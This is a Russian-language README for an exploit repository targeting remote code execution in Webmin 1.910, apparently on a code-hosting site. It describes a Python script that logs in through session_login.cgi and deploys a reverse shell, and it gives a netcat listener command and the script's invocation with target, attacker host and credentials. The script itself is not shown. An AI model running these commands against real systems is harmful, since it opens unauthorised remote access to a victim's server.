Webmin1.910_exploit

Эксплойт удалённого выполнения кода Webmin 1.910

Описание:

Этот репозиторий содержит скрипт на Python 3, предназначенный для эксплуатации уязвимости удалённого выполнения кода в Webmin версии 1.910. Скрипт использует конечную точку session_login.cgi для выполнения аутентификации и развёртывания полезной нагрузки reverse shell, предоставляя удалённый доступ к целевой системе. Данный эксплойт предназначен для авторизованного тестирования на проникновение и использования в образовательных целях.

1. Запустите слушатель на вашей локальной машине:

nc -lvnp <lport>

2. Запустите скрипт с помощью следующей команды:

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>